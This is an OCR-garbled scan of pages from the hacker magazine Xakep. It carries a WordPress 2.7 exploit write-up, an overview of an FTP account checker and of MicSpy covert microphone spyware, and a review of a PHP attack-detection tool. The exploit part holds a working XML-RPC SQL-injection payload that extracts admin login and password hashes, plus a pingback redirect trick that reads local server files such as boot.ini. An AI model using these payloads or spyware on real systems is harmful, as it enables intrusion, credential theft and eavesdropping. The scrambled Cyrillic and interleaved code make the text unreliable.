PE3YflbTAT BbmOflHEH~51 SaL·~HbEKI..l~~ B XMLRPLPHP 1021 1022

1005 1006

$headerfile .. tellpnaml$te.p_cl.ir. ·sno"';

~__ ~.___

1007

~5 ~

$safer_UP..I • serer( fURI. "'"., • • I; II strip quotes froll the URI eo avoid shell access exec(eseapesh'lllcad.($eh.is->eurJ.-patb.· -D \ "fb••dart:!.l«'·· .$calllineJlara.s.· , •• _$:lul.te"_UIlI.·'·"j ,fre"",lts.$:l:etunl); .>1;_0;: (fthis->c:ul'J. !leh.· -k -D \ " $headlu: file' ' •• $c"'dlin.ylU"illIl.s.· \ ... esc:apesh.llcadUUllIJ .", .. Arll!sults.Jretoun);

1008

it ($ return)

1009

3flOnOflY4HbiJ/l CHANGESET B SNOOPY

nposepl<e CYLlleCTBOBdHIMl 11106oro tPa~Jla Hd

<params> <param><value><string>l</string></ value><!param> <param><value><string> [Jr1MR_ABTO­ PAl </string></value><!pararn> <param><value><string> [nAPORb_AB­ TOPA] <!string></value></para.m>

ywe.o,wero B He6blHle Snoopy. ~TaK, Y513BI1MOCTb

Baplo1aHTal 0 Ka4eCTee TpaHcnopTu http-,QaHHbIX

<param><struct>

KypJl3 3aKJlJO'-laeTC51 BTOM, I.JTO OH Cpa.QOCTblO

Bop,Qnpecc 8bl6l.1paeT KypJl:

<member> <name>name</name>

MO)KeT np0'-lKTaTbAJl51 Te651 He TOJlbKO y,o.a.neH­

Hble ¢a~J1b1 no http,HolilJlOKanbHbleCnOMoLl.l,GIO

function

<value>xxx gif</value>

npe¢Vl Kca «file:!!»! Ho. KaK npaSKJlo. npe¢l-1KCbl

=:

</member> <member> <naroe>type</name>

JlOCb 6bl, «file:!/}) 3alOJaTb HeBOJMO>KHO. OJJ,HaKo

<value>gif', (select concat(user_

nepeaApeeau,1011O c nOMow,blO epJlara «CURLOPT_

login, ' : ' ,user-pass) from wp_users limit 1)) I*</value>

FOLLOWLOCATION». To eCTb, - nOACTaSVlB

</rnember>

MO)l(eM nonYl.Jlo1Tb I.JTeHlo1e np01013BOJlbHOrO

<member> <name>bits</name>

JlOKaJlbHOrO epaVina !noAP06Hoe advisory OT nep­

<value>HELLO WORLD l < Ivalue>

MHO)KeCTeO epaillnoB lO3alOT Knace .!wp-Includesl

</member> </struct>

http.php. HO cel1l.Jac Mbi paCCt.tOTpIiIM lllilWb 0AIiIH

113 Halil60Jlee ,D,OcTynHblx pre-auth cnoco60B

</paraHl>

3KcnnyaTau,1iI1-16arl1 [HaiiiTVl ,D,pyrl-1e cnoco6b1

ySl3B~MOM

tJ.BI-1>KKd, HaLl"'Ha~

CKa3aTb. '-ITO 3TO He COBceM yl'3BI-1MOCTb BOpJJ,­

Aa-.o.a Tbl81~,QI'1Wb lOTcaMblii ¢nar, OT8el.Ja1OLl.I,I'1~

' 3a nOMepxKY peAKpeKTa~

npecca, a, (KOpee, ¢W-13 curl. php-6K6JH10TeKy

.o.al1bwe onYCTV1M 3cYMHbli"1 KOA. HO CKa>Ky nl-1Wb.

KOToporo KaK pa3

'1TO no .oe¢omy lecera 803MO>KHbl '1eTblpe

c 2 7. .o.Ml Ha'-laJ1a Hy>KHO

iii

J03aeT Word Press BMeCTO

npoBep,nOTCs:l CKplo1nTaMIo1 cl.l..I,e Ha BXOJl.e

iii,

K33a­

HI-1KTO He nOAYMaJ1 0 TOM. I.JTO curl n0AlJ,ep)l(14SaeT

BOOTKpbISaTenl' VlLl.l,Vl B cHocKax)!

a,ll,MVlHKe - T80e AOMawHee 3a,Q3Hlile:JI

TblY611,Q\1Wb xew iii naponb aJJ,MlIlHa

$argsj;

2. <1>yHKLI,Vls:l, npv.Be,QeHH351 Bblwe, IiIcnol1b3yeTc518

./wp-i ncludes!fu nctions.php:

Ba>+:;Hble ,nfls:l 3KcnnyaTau,1iI1iI 6ara KycKI1 Ko.o,a

function wp_.:-emote_fopen( $ux-i ) (

=:

wp_remote_get ( $uri,

$options : ;

B

nocne,D,Heill sepClillo1 Bop.onpecca 12.7.1]:

3. VOl, HaKoHell, :na)l«(? ¢YHKU,>151 WnOJlb3yeTcfl B

1. ./wp-includes/htlp.php

Y)Ke n0l1lO6V18W€MC>1 TeGe l'1HTep¢ei1ce xmlrpc:

class

WP~Http_eurl

{

=:

pingback~~ing{Sargs)

array (J l {

i f ( ! ini_get (' safeJllode'

npeACTaB.n>1I0T8oeMy BHVlMaHl-11O O'1epe,D,HylO

&& !

Yfl38V1MOCTb Word Press [Hal:1.n.eHHylO He 6e3

curl_setopt( Shandle,

nOMOU\l-1 311l?KTa), KQTOpaSl 3aKn IOl.JaeTC51 8

function

function request ($url, Sargs

<I>OKYCbl CKYPllOM

070

return $objFetchSite->get (Surl,

aAMI1HK'j: Manage => Uploads. 8

none «URL» Bcfly'-lae y.o.3I.JHoro cpa6aTblBaHl1>l 3j(cnnO~Ta

=

_wp_http_get_object() ;

$response B

WH Ha ...ana paCCMOTplo1M HeKOTopble oc06eHHO

B

$objFetchS:"'te

8 BOPAnpeece

<param><value><string>77<!

nl-1cbnpoLilTI1

h~_remote_get($url, Sarge

array (}) (

KypJly SnOJlHe 06WlHblLiI http, Ha BblX0J.N Mbi

string><!value></pararn> </params></methodCall> nOcJ1e oTnpaBKL1 na.o:eTa Ha 6nor >KepTRbl nOTopo­

~

true) ;

6nore. no.o.aep)KeHbl Bce sepcIH1

Spc.ge.l.lnkedfrcm

= $o.rg5[O];

ini_get (' open_basedir' )

spagelinkedto

$args [1]

i

CURLOPT_FOLLOWLOCA~ION,

XAKEP 05/125/ 09


s... ",w."P'.""Q

Bee rOTOOOA/lR npOBepKl.1 HaJlll1Y\I1'i1 ¢laCina

WORDPRESS_ORC -

,~_.

0:>.;.,,"

-

IJDO

-,~,c

c:\

booLini Ha TeCTltlpyeMOL:1 01CTeMe. AnA 3KcnIlY3Tal.\l-1lt1 Y>138i11MOCT01 Te6e Heo6xoJl,ltl­

~;

I"·"'· J ! I. A~,'mo,

00 Dashboard

cepsepa xmlrpc:

fr~alld

pliC'e[€'ss:"lt the S:"llll€' tim€'.

Right Now

51'"

More simply, WordPress is .....hat 'IOU use when VOV want to with ,'our blogging software. nol f'9h! ll.

~lllClonct

fj POSI$

~

503 POI:'

I

~ '-ledi.

I

MO Jl14Wb nocnaTb Cf1eJl,yIOw,l.1~POST-naKeT Jl,J1>1

pllblishillg

platform "'ith a fo('lls on ;l~$th""tJ('s. w.. b

stundm"<b, ;'111<1 IIsabi!it:•. \\-ol'<irr~ is both

I)M~bo.rd

"

II

WOI'OPl'€'SS is;l st:lt€'-of-th€'-nrt

The Lorem Ipsum Blog

3

§Unks

New 10 blogging?

P~gu

-'l;lad'l to gel stilrtlld?

~~rn

more about wordPrqU, thon follow t,

three easy steps below 10 st<lrt blogging In minute$, Or, for I

39 G>leg<l'iCI

ullll1I<lte m c,",se of use, gH a free bltlg on WOIO:=PI'ess.tQm,

<mee-hodCall>

<methodName>Pingback.ping<f

methodName>

<params>

<pararn><value><string>http://

lamer.com/pingl/?p=2</string><1

value></param>

Do .... nload WordPrllS$ 2 7 1

<param><value><string>http://

lamer.com/ping2/?p=[HA-cymECTBY­

AOMAWHHH CTPAHHl.\ABOPAnPECCA

~W£rO_nOCTA_HA_BnOrF.]#larner.coml

0 ·0 (1

nOKCl3blBcUT 3ClnilCil

BCerO,

blog</string></value><fparam>

</params>

</methodCall>

3anpoc 3ClHJln 0.0005 cel<)

SQL-3anpoc: SELECF FROM wp_pos1meta' LIMIT 0 , 30

nOCJle OTCblflKltl n8KeTa Tbl eMo)t(eWb nOflY'-IIHb Jl,Ba OTseTa OT cepsepa:

1. ECJH1 ¢a~Jl c:\bOOI.;ni cy~eCTByeT,TO 6!lor

InpaBKallOnHCaTb SOLI IC03Aa'b PHP-KOA] [06HOB"'bl

npil1WJleTT3KOI1 OTBeTnOKas8Tb: I

~

PR,D,OB OT

10

.jrr-Op-"-3-0-H-ra-n-b-H-o-M---...;....;.;.;.;...;...;.L!.:::J pe>K~Me, 3arOnOBK~

nOelle Ka)l{,Q,b1X

+-T ~ metaJd post_id meta_key meta_value 0.; X 25 1 _wp_old_slug luck-em-all

L OTMeTHTb Bee I CHRTb oTMeTKy co seel( C omMetJeHHb/MU:.;f X

luX)

R"lee

~

Pingback from http://lamer . coml

pingl/?p=2 to http://lamer.

comfping2/?p=1#lamer.comfblog

registered. Keep the web talking!

,- ) 2. Ecn01 TaKaro q,aliiJla HeT, TO )l(AVl TaKoro OTBela ­

The source URL does not exist. f f Let's cI'_eck the remote site

ini",302);

Slinea = ,,:rp_r:emote_fopen

?>

KCTaTVl, 3TIo'11<1 cnoco60M 6bl.nO 6b1 BnOflHe B03~ MO)l(I-lO np0'-lltlT3Tb eOAep)l(VlMOe Jl1060ro ¢aiiJl3

(Spagelinkedfro~l;

2• ./ping2/index.php

<a href="http: I flamer .coml

pingl/?p=2">Ping2<fa>

Cl.1CTeMbi. eCJl\.1 6bl nltlHr63K He ype3ancl'I AD Ol.lel-lb Manoro KOflltl4eCTBa CVlMBOIlOB, T8K '-ITO, B KOM­ MeHTapl-1ltl-n\.1H r63Ke Tbl YSlJ1AltlWb f\\IlWb '-ITO-TO BpOAe·

TenepbYHac eCTb 8ce Heo6xOAltlMOe A/l~ I-lanltlca­ I-lltl~ 3Kcnnoi1T3, -

K ~~MY Mbl cei143c ltl nplt1CTynlt1M.

/'

­

nCI-l~n. Ae~CT8083Tb

BaTb !'lTOpoi.1, 6.naroJl,ap'i1 e~e OJl,HOV. HeAopa6oTKe BopAnpecca. CMOTpYl B MeXaHltl3M nll1Hros xmlrpc.

A 5blmU1 <l>A~/l? KaK T.bl'y).ce

B 3TOM npll1Mepe nepBblV< ¢aliin CMOJ+(eT npOnltlHro­

php,

Mbl 6YAeM 4epe3

MeX31-lltl3M nl'lHr63KOB, npo KOTOPbli1? y)l(e HeOA­ HOKpaTHO paCCK<33bIBaJl8 npeAblAyw,ltlX HOMepax.

II Check if the page linked to is in our site

r. ,] Server: Apachel2.2,4 (~lin321

mod_ssl/2.2.40penSSL/O.9.8d

PHP/5.2.4 X-Powered-By: PHPf5.2.4

popa: 111 Location: file:fflc:boot.

ini Content-Length: 0 Connection:

close Content-Type: text/html; [ .. ,]

,ufl51 pa60Tbll-i3M nOHaA06Hr::::5'l ABa q,ai1Jla, AO­ CTynHblX no http.HanpltlMep.TaKo"e: hltp:/tlamer.

~ingl/index.phpltl http;ljlamerr.om/plng2/ Index phQ npeAnono)t(I<lB. ~T03.Qpec H3wefO 6nora - ~ corn/Olag ltl '-ITOTeCTOBbIM CTeHAOM 5lBJl51eTC~ Blt1H­ Aa, Ha~HeM pa6oT)' Hail. Heo6xOA\IlMl>IMltl q,<Ji1Jl3Mlt1:

Sposl = strpos ($pagelinkedto,

str_replace(array('http://

www,','http://','https:11

'W\tM.','https:fl·), ", get_

aption('home')));

if( !$posl I

Co,o,ep>KltlMOe c.\booLini ocraeTC>I rAe-TO nOA KaTOM

J

On01caHHblVl cnoc06 3KcnJlyaTaLJ,lJ1ltl

Y~3BVlMOCTltl

B aAM01HK€

He

5lBJll'leTC~

eAVlHCTBeHHblM.

Tbl CMO)l(eWb HaliiTltl

\II

Apyrltle 810130­

Bbi Q>yHKLJ,iI1i11 wp_get_httpll, KOTOpbl€ T€ 6 e I.ll-1TaTb ¢a"JlbI Ha C\.1CT€Me.

n0380Jl~T

HaiiTVI VlX­

y>Ke TSO>l 3aA8'-1a.

1, ./ping1/index.php

<?p'hp header("<title>Exploit<f title><a href="http://lamer.coml ping21?p=l#lamer.coro/blog->Curl<1 a>") ; header("LOCation: file:lllc:\bcot. XAKEP

return new IXR_Error (0,

( 'Is there no link to us? J)) ;

TO BE CONTINUED••• HYI.lTO, Tbl Bce e~e C'-IVlTaeWb Word Press 6e30~

B 3T0l:1 npOBepK€

BOBce He "y>KHO, YTo6bl BTOpO(::1

naCHblM ,Q,BlJ1>KKOM?

nl-lHryeMblv. CaliiT065138TeJlbHO 6blJl TeKy~ltlM 6IlO­

He 3a6b1saL:1: 3JlOCTHbI€ KOAOKOnaT€JlVl e)l(e­

rOM. TaK KaK Mbi MO)l(eM 060CiT\I1 np08epKy, BCTi3BltlB

AI-l€BHO SAonb ltl nonepeK MY4JlOTWOrdPress

aApec 3Toro caMoro 6Jlora_ Hanpl-lMep, B KOHLJ,e

codebase. KaK roBOPl'lTC~, «npO.o.ofl>KeHltl€

URL noeJle p8WeTKl.1.

CJleAyeT, .. »:)!I

~

071

,l i

,I


IJ

·r:

I~

\~I

'fOHliIA .. RorD~ CTF'QtIIKQB ROIDIQ'BK.RU f

o

nporpaMMbl AJl51 xaKepOB

s

i,I:ilIII'4Gllt.t"TP-TOOLZ

paM~ (PR/cTpaHa)

I!I!lI*NIX/IdIN M:.lll:aJEN

-

52

-~_

'!f.:r-'M1~.py;

B03MO)l;HOCTb COPTI1POBKI1 aKKOB no

.....

-----

­

~n<o<~~ ... l~."",:

hastname

<~,

,IS'

J,;>,or"'l~l:

T1!OEJ.l>IJT"l~"1000:

1110

f.~I'lKto.-y.IOO00Q010:

c~....- """'Y'<""• ...--r ""I>«

1,­ '''''EJ'''''"El"_rccord """I,,_d: fh:_d:

LJeKep nOMep)KI>1SaeT CTClH,QapTHbll1 8101A aKKa­ yHTOB:

~,

::1~'-"~-"'ll[J'.oc"£T: W50.u,~.u:

~

'~~:::::::Tb::::~:::~':~~~"H'blXItp-4e,epax

I~I i

I

1.0<~et,C10</lt'C:_d:

ftp: / / 1agio: pass@server

~:~~~Z~~c3:'"~_In:

~~~,~:ov;

- login:pass@server

1.n'1"""9O": stopl'hg:boolnn:

Uor111 .... _1"":.,."..d,

(IOd'ct-<>o'd:

eCib 13cerAa, VlMeHHO n03TOMYSl y}t(€ npeACT<lBJl"fl

C YCTSH081(Q~TYn3bl np06J1eM

TBoeMy BHlilMaHl1lO HeCKOflbKO ltlHTepeCHblX npo­

,ll.OJ1)1(HO. Te5e norpe6yeTcfl3aJll-1Tb CO,IJ,ep)KlilMOe

I'~-""- AyKT08. ACerO,flH51 XD4Y nopa,O,oaaTb € l lte OI\HOl7t AOCTO~HOi1 T)'Jl30i1- FTP-Toolz 3TO MOUJ,Hbli1

u

~

'n:otTlng:

apXVlsa Ha CBOYi flilJ1lil He COBceM CBOL:1:lJ (epsep.

~",,,,,"",,,,:boo1••

_K:,,,I"O:

n·r .1,.:

DP~K

yCTaH08f1Tb npasa Ha 3;lnlil(bAlls:l KaTanora./

lilHcTpyMeHT WT51 pa60TbI c ¢tTn-aKKaMYl, HaKO-

ftp_lools/upload, e03,D,aTb HOByKJ 6)J,lil oTpe.o.a K­

AeHHblf1 Ha

TlilposaTb KOHep,.,r mysql_config.php.

PHP,Om-tCblBaTbBCenpe!t1My~eCTBa

... l~l",p<h..-;

803HlilKUyrb He

HanplilMep. BHewHlIIi.1I1!1>1 BCTpOeHHblVl MlilKP0<p0H. nplll SKIlKJ'leHIWM '(CMne >r<epTSbl Mbl MO)KeM

4€ K epa - A€ f lO lie6Jlaro.aapHoe, n03TOMY KOpOTKO

3anpOCTO nl-otCClTb8Ce pa3roS:)pbi B paAl1yce AOC51­

<?php

nepe'll1cnJo JllilWb OCHOBHbl€ 803MO)KHOCTI'I:

$db_host Annoan q..atlnoB "lepe3 ee6-WHTeppe>1C

#

raeMOCT>'! baS>1ClilT, B nepl3ylO O'lepeJ],b, OTKayeCTBCl

"localhost" ;

MlilKPO¢O Hal_ Pa3MepyT>1flbl HeMHOr'MM npeBbiwaeT

7 K6. npl-1 ~TOM ¢YHKl.\ViOHal1 nplilflTHoYAl>1BJl51€T:

XOCT

En

Y:eKep ftP-dKKOB Ha aaJll1AHOCTb

Sdb_user = "root"; It rnep

BCTpoeHJ-'.bIi1. J.1q>paWl-lep (.n;o5aBJIeHH€

Sdb_oassvld = "root"; .; napoJCb Sdb_narne = "ftps"; #

KOLla D HayarrO/KOHeu lfai1na) TIOI1CK)II Y,lJ;anel-iJ.1e "lYJ:0QC iframe-DcraiOoK

Hd3lk1HJ1€

• Uill-fr'.bIe 3any.CblBaIOTC51: £I aYL\>10-4>af1Jl

E.:t

¢opMaTa • mp3, 24 Krll 3?K6v.T/C, MOHO

7>

iIJl~ 3anYlC\II Io1cnO;lb3yeTcR

CTaH.!IapT­

HblH l'l1111.!IOBY'l1 KO,IJeK folPEG LAYER-3

run-time CTaTI1C'rl1Kd YAo6o'-lI1TaeMble non1

nOCfle 3Toro MO)KeWbCMeno nplllcTyflaTb K

• Ha3BaHMe Kaau:;oro <llaMa C 3anl1CbIJ

nOAAep)l(Ka npOAOJ1*eHMtl y.eKa (TO

npolleccy I'1HCTa.nna no .nlilHKY http://TBO~_XOCT/

YKa3b1BaeTc.II B ,mAe: ['0A-MeCl'lJ..L):teHb_

Itp_lools/i nstall. php

~aC-M~~TbI-ceKYH~bl.mp3

eCTb, eCJTYl CKpWOT He 3aKOH"'l1111 I"!pOBep­ zy, 1'0 tlpH lidt.tl-l€ T

cneJlYI()~eM

3anYCK€

'I€ Z € P

pa60TdTb TonbKO C T€ M l-1

aKKSMVI,

~OTopble He yenen np04eKaTb)

• OT~l-1CTKa ftp-rrVlCTd npl-1

Aa, lil He 3a6Y,Qb ,Q06aBlilTb 6a3y GeolP £I COOTS eTC­

• HaJ1W-U1e uD;M\.1HK\.1, KOTOpa51 no ,ll,e<pOJ1­

TSYIOW.lil~ KcnaJlOr ./llp_toots/seller_tooVGeoIP.

Ty n01Oi~aeTC51 Ha nopry 4545

dat.,l],.nSl pa60Tbi yTI1Jlbl nOTpe6yercs:I PHP =>

YlMnOpTe

(Yl1aJleHl-1e aHOHJIlMHblX aZdaYHToB)

j

4..0.3

eepClillil C OTKJ1KJ"leHHbIM Sale_Mode, B TaK>Ke

Tenepb HeMHoro 06 a,[lMl><lnKe. C nOMOl1\bKJ nal-le.nlil

MySQLJ1Io6oL1 sepcVllil.

ynpaBfleHVlR Tbl MO)K€ W b:

c:: I11III

• BCTPOeHHblff napcep BaJIVlAHblx/:-reBd­

IlljIJ.:t;.~"IGti'MICSPY

.'lHD;HblX dKKoe

BeCb nepJ.10A pa60TbI CKpJ.1.u·ra • B03MO)l(HOCTb OCTaHOBKYl 4eKepa :t1 Bcex

YTe6Sl HlilKorAa He B03HlilKanO>l<e.naHlilSl nOAcfly­

Y,naJrnTb 3afiwcaHJ-::b1e 4,lai1J!b1

ero

waTb'-lY>l<O~pa3roBop? Bee C,QeTCTea 3HBIOT, '-ITO

CKa'--lHSaTb 38,U1caHHble ¢a0J1b.l

3anyUleHHblx KonJ.1fl, nyTeM C03.n:aW-1S1

B n<;lnJ<e

c

'--leKepOM q,at1na

«stop»

KpOMe Taro. B COCTClB 'leKepS SXO,QVlT<j>YHK41>·1O­ HS.nbHbICi napcep, C nOMOlUblO KOTOpOro Tbl

6e3

eblXO,Q eCTb l Her. Mbl He6y,[leM BaRTb MOAHblL1

oTSLESH'a. TyJl3s nOKa H3 CTaAlillil TeCTlilpOBClH>1s:1>1 pacnpoCTpaHSIeTcR B 6eTa-BepC>1t.1. O,[lHaKO 60JlbWe

• Bbl60pKa aK}WB no

"'"\

• B03MOillHOCTb npoBepKJIl YKa3aHl-iOro

Google pageRank (PRJ

~ ~:. '"<~".'" "._"" .,,­

U COPUbI:

MicSpy. clpr -

TyJ!3hl,

OCHOBH851 '-laCTb

BKJlI()"liHI peanJ13al\J1n a.!IMJ.1HKJ.1

:l. A nOMO;tCeTS 3TOM yTl'1Jla MicSpy

J.1 T n.

P.s. E apXl;lBe C y'IJ1J10J4 nelKaT

API. pas

3a,QaHHb1M napaMeTpaM

~

K(jlt>L(aro

3TOTpa3 Mbl npocTO BocnOflb3yeMcs:I MlilKPO¢OHOM. npas,o,B, 'lY)l(I1M

• BLl60pKa aRROB no cTpaHaM

r.ony'-la'l'<> pa:OMep

)KYYOK >111>1 nOAKJ1tO'-laTbCl'I KTeJle¢OHHO~ 11 >1 H>1>1. Ha

Tpy,Qa CMQ)KeWbOTcopTlilpOBaTb<pTn-aKKIo1 no

1

I

npOO1(l'l·pJ.1.SaTb JIMCT:i!Hr' 3an>1C~

4JaHl1oB,

nO,Qc.nYWlilBaTb Hexopowo. HO eefl>1 QyeHb XOyeTCR -

~

Hay'J1HdTb/OCTaHaBIU19aTb 3flnJ1Cb

I!I!lIIdINDOIdS 2oo0/Xp M:IOlISLESH

• Ham14Yle nonHOu.eHHoi1 CTC\TJIlC'l'JIlKJtl 3a

-

KOHCTd:-ITbl, TiIlnb/ Vi cPYHKUYll1

NicRec. pas

-

¢,YHKUI1J1 3am1CVi

enDeOM, nplil Ha;li<t411i11i npRMblX pyK OTKpblBaeTcs:t

Bcero Hac lilHTepecyeTcaMa >1,QeR >1 eOpl\bl. CMblCJJ

Wf1paKLotL:1 npocTop,Q.nR ¢!aHTa3lillll. Vlcn0l1b30BaTb

pa60Tbi TYl13bI33KJlKJ'laeTCSl B CKPblTO~ 3anl>1Clil

nO,Qo6HylO lo1j],elO MO;.KHO 8 pa3HbiX hanpaBJ1eHLots:tX

3syra np>1 nOMow.lil COOTseTClBYIOll.1ero.o.e¢OflTO­

[06p3aTeJlbHO 6narl1x

BorOYCTpO~CTBa BClilcreMe. KOlilM MO>l<eTRBJ1"TbC",

pf1M «cnaclil6o» SLESH'y I1l1,o,eM BHlilKSTb B COPL.\b1.

:ll. TaK 'lTO ~ ,[lpy>KHO roBO~

~ ,III (DY"'''

os/mlO,

~


» I

wss

jll#M1:Z}3GlgmIvlEB SECURITY SYSTEM

'J"cl5nYllJ,a c

1torYlpOe<'lH11el~

$TableCache

I!l!lI*NIXIW'IN

t;1:IIJI#lAVADANEI ANDREI

8:: ..... 01',-1

Cl't'C\K

"cache" ;

/ / Ta611Y1U<1 C

YlH<?opMau11ei:l

06

r.l'TaKY!OlllI1X

B noene,o,Hee apeMti W'llpOKoe pacnpOCTpaHeHl-1e ~ nOJlYYl-1Jll-1 pa3Hoo6pa3H':>le ,o,eTeKTOpbl aTaK, no­ rlo1pylOUJ,lt1e Bee ,o,e~CTBIo1R 3JlOYMblWJleHHl-1Ka. 5=l ~e XOyy 06paTVlTbTBoe BHlI1M8HlI1e H8 HeCKOflbKO l>1Hoili

...~.

?>

"

eMeno 3al1l1Ba~ COepTI1HY Ha cBoC1 cepsep 111 np\II­

M

cTynaili K KOHq,l-1rypaqw\.1.lI1 nOMHl-1, 6e30nacHocTlo1

npo,o,YKT - Web Security System - npe,o,H83HaYeH­

ssagel) - O'TnpaEKa COo6ll1,eHl1F. aTaKyKl­

HbI~ ,D,11~ 38U1l-1Tbl OTXSS, SQL-injl?ction. RFI-aTaK_

l!leMY nplIl o6Hapy)l(CH"I111 a'raKI1

MHoro He 6blS8er

noeepb, 3TO He nYCTbleC110Sa i CIo1CTeMa pe8JlbHO

• SetPatchVars ( [$value] ) - onpe.n.ene­

1,I::tIJ1'.'GIGrSiNIQUE PACK V.1 .1

pa6oTaeTlpa3yMeeTcl'l, npl-1 rpaMoTHoili HacrpoiliKe

J-fMe ,ll,eiiCTBlIll1 B cny'-Iae aTaKl1

t!I!I!*NIX/'w'IN

:11.1/13 npel-1MYUlecre npo,o,YKTCl CTOmOTMenlTb: • private $ProtectionLevel 8b1c,:,pa9. pa60Ta c PHP-<paI1JIaM>1

Bblc,:,poe o6HapYJKeHJ1e Yfl33l1MOcTefr

-'-'--­

7;

"

/ / Protection level

»

~~::~~:;X~j:~l~~iC:; Z:;:f~~:~~~·};

3;

• private $WarningLevel

1~~~~~~·;

YlX yc,:,paHel-lUe

II warning level

• JIorMpOnaHJ1e Bcex :l"raK B En

• private $MysqlID

1<111...PO~•• ·"".. ·;

/I _ .oo;UI ~'"'VQ1.....1 1q>..... l.·.cto<p.p/lcI·; l",,-,,"u·',_·; 1~... ' "lflcl'~n<l<97'~<h$<lI<.""a<:,."" :

1/ Mysql Connection ID • private $Sho..!Message

A,D,MIo1HKa 01CTeMbl n0380.fltleT:

II"" "' 110111<1'" II Oil u-

1.-....-··dtI·; 1<1b..u< ... •• ...... ·;

-1; :: TRUE:

c

I I If we detect something we show an OpOCMaTpl13o.Tb

:P~a:npeca

G:TaKyllllu1x

message

OcnY'-IaTb HH<jlopXallYll:) 0 TJ.max aTax

• private SEventMessage

npOCMoTPMB3Tb Bee norH no KOHKpeT-

Violation!":

HOM)! IP-aAPocy

aTaKyl:J~CrO

'" "Acces

/ I Message show

rllo6a.n bHblX nepeMeHHblx:

.o.YUleM OKa)l(eTC~ s na6nltlKe. TaK'"lTOC'"lViTaili no,o,apOK He 6oJ1ee 4eM TecrosblM npop,yKTOM nep~ nOKYnKoi:!

from detected problems = TRUE;

S-GET

/ I Store all information about

S-POST

<ittacker from now on

S_SERVER S_SESSION

• privaLe $F,xistThreads

J1111u,eH3l-10HHOili sepCI-ll-1.YTo 113MeHlI1nOCbB pefll13e:

• FALSE;

/ I Security Threads

~3MeH€Ha s~a'-Ia PDF-<pa~na

II Store

threads if exists

3yIOTCl'l:

• private SSystemVersion

PDF­

paHJ\OMRIoIMI1 3Ha'J€ H l1J=lMI1)

• 06HOBneH PDF-C]1J10J1:r (Teneph l<1C­

• :Drivate $SecurityThreads

8 KayeClSe nepeMeHHbIXAJ1Sl. $_SERVER Vicnonb­

(KpoMe

caMoro cnnoi:ha, r€ H epl1pyeTcR

<jlawJI C

array (ar.l:ay (al:-r:ay ()) } :

II System

Ke - 3ap,a4a HenpOCTa>1. ~ peWII1!1 nOAenl-1TbCAOjJ,Hoi:! 'f"%-e BOBCIO ryJ1>1eTnO n0l1ynp\llsaTyll18 HeAalleKOM 6y­

1/ Patch value

'fRUE:

• private $Follow!\ttacker

$_COOKTE

K8KTbIY)l(e3HaeWb, H8i1iTl>1 XOPOWYKl CBA3KYB na6nl-1­ 113 nplo1138THblX BepCI1~ Cal<3KI1 Unique Packv.l.1. OHa

in case of attack detection • private $PatchVars

KpOMe TOro, 8 co¢n1He peanl-130aaHa npOBepKa

II c• ... IllcP-l

nonb3yeTC51 Double PDF HOBO-M 11 cTapoi"1. BepcHIil cOBMeCTHO}

'"1.4

R :

• \Ii3MeHeH MeTO.u U1VJ1JpoBal-1I1S1 cnnothoe

Version

"HTTP_ACCEPT", "HTTPj.CCEPT_

• private $SystemUpdateLink '"

CHARSE'J'", "ET'T'P_ACCEPT_ENCODING" ,

II Hold update link

YcraHoBlHb CB5I3KY HeC.flO)l(H 0:

"HT7P_ACCEPT_l..ANGUAGE", "HTTP_

• private SSystemUpdateVers

3aJU1BaeM <jlai1JIbI Ha a6Y3HblM cepl3ep

CmmECTION". "HTTP_HOST", "HTTP_

I I Hold update version

3anl1SaeM

REFERER" , "HTTP_USER-fiGENT' ,

• private $ExceptionVars

CBfl3KOH C

" SER\lF:R_}\DHIN " , 'SPRVSR_PORT",

array() :

"SERVER_SIGNATURE", "PHP_AUTH_

special checks vars

• C03.n.aeM 6a3Y ,I\aHHblX • OrKpblsaeM <jlai1n config .php

/ / Hold

DIGES'r", "?HPJUTH_IJSI::R", "PHP_

AUTrCPW" , • AUTH_TYPE" .

php 11 nOJ!Hbli1 nl1HK.n;o load.php, a TaKJKe

uaw_caw'1'/spl/_install. php

<?php

$pass'"

I I .l\<lHHble

';,ISS"; //nFlCC AJ\~H1Hi1 TiI1~

Sconnection = array("server" "loca lhost" ,

ll)lfl 3anycKa cKaHMpOEaEI151 CI1CTeMhI

"user"

=>"root",

" SetScanZone (S....,hich, $value) - I1C­

"pass"

=>

nO!lb3yeTC51 np:l1 CKaH>1pOBa::-mu rno6anb­

"database" => 'WSS");

/ /'dAPNTNG !! if you edit

• SetNone?r'otection () - onpe,IjeJT.qeT

bello\oJ

• SetWarningLevel ([$le'lell) - onpe­ .uenF.eT ypoBeHb

npe~ynpe)K~eHY1i1:

• SetMessageToAttacker(($sh~H),($me

XAKEP 05/1251 09

"'>

finished Please delete install.php· y.uan.l'leM _install. php

It1 cnOKoiliHO Ha6nlOAaeM CTaTY no 3arpy3KJM:

Hh!X nepeMeHJoJblX

\'OU

M 3anyc~

KaeM YiHCTann • nocne HB.anHCI1 ftlnstallation

nO,!\KJT)J'leHLUl K CY61l

• RunPSystem () - OCHODHhI€ <}YHKWfYl

• SetAl) Protection () - YCTaHaBJTI1BaeT

HCl .n;OC'IYn K CTClTI1CTAKe

• 86l1EaeM 3 6paY3epe a,npec http: / I

10160 B HeM cOCpeAOTOyeHbl OCHOBHbie HacrpoVoKIo1

J3.,.CllllllM ypOJ3eHL 3aW)1Tb! - 7

H BnY!Ch!­

nomJ:hlft m-ffHC .n.o pdf.

nOrl1H/naponh

\II <PYHK4\1l1l1 Cl>1CTeMbl

(1 - MJ.1EYlM:aJIbEbli1j

nartKy co

npoClO:

$user '" "Andrei"; i./ no fl1rl. a,UMI1Hd

3allll1T~

B

Hya caM KOHepl-1r config.php 13blrJll<p,l<1T p,OCTar04HO

l-13y""lIl1Tb COAep>I<J.1Moe CKpll1nTd prt_system.php.

yposeHb

exe' llIHHK

aaeM f.\aHHbl:e 6a3hl,

nOMl-1MO KOH$l-1ra. KOTOPblCi pacnonaraeTC~ B epaCine config.php, HaCTO~TenbHOpeKOMeHAYIO

CBOM

Ha3BaHl1eM 1. exe

~3f'ttings

must edit S€ t lings

from

ATpa<pi-1K HanpaSMeM SOT Ha :310T llltlHK

the Plt_systern.php file ..

= "prt_sys_";

$TablePrefix ; I npc<pI1Kc

=

$TCibleMain !.I

http://Haill_cai1T/spl/index.php

'I"d6m'll.I,

OCHOSHaJ=l

~main";

Ta611l1Ubl

$TableAttackers

"attackers";

